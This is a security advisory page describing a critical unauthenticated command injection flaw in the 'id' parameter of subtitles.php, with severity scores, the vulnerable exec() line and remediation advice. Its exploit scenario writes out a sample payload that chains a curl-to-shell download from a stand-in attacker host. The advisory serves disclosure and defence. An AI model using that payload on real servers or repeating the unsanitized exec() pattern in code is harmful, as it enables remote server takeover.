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Guardian language-system EUVDEUVD-2026-41063

| CVE-2026-34106 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 VulnCheck GHSA-hw82-rg7w-cx9p
Command Injection PHP Language System
9.3
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated network-reachable GET parameter flows into a shell exec() with no interaction, giving low complexity and full C/I/A impact on the host; scope unchanged.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 16:52 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in subtitles.php (line 19) without sanitization: exec(\"php jobs/subtitle_rendering.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to the id parameter to execute arbitrary OS commands on the server.

AnalysisAI

Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injecting shell metacharacters into the 'id' GET parameter of subtitles.php, which is concatenated directly into a PHP exec() call invoking jobs/subtitle_rendering.php. The CVSS 4.0 base score of 9.3 reflects network-reachable, no-privilege, no-interaction exploitation, and publicly available exploit code exists (published via VulnCheck), though there is no public exploit identified as being actively used in the wild at time of analysis.

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify exposed subtitles.php endpoint
Delivery
Send GET request with malicious id parameter
Exploit
Shell metacharacters break out of exec() call
Execution
Arbitrary OS commands run as web process
Impact
Install webshell / exfiltrate data
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Vulnerability AssessmentAI

Exploitation The only prerequisite is network reachability to the subtitles.php endpoint of a Guardian language-system deployment; per CVSS PR:N/UI:N no authentication and no user interaction are required, so this is remote unauthenticated exploitation against default configurations. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals converge on high real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An unauthenticated attacker sends a single crafted HTTP GET request to subtitles.php with an 'id' value such as '1;curl http://attacker/x.sh|sh', causing the appended shell command to execute on the server with web-process privileges. Because a publicly available POC exists and no authentication or user interaction is required, this is trivially automatable for mass scanning, leading to webshell installation, data theft, or full server compromise.
Remediation No vendor-released patch or fixed version is identified in the available data at time of analysis, so the primary recommendation is to consult the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-subtitles-php) for vendor guidance and to apply any fixed release the vendor issues. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Identify all Guardian language-system instances and isolate from untrusted networks; implement WAF rules blocking shell metacharacters (|, &, $, , ;) in subtitles.php 'id' parameter. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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EUVD-2026-41063 vulnerability details – vuln.today
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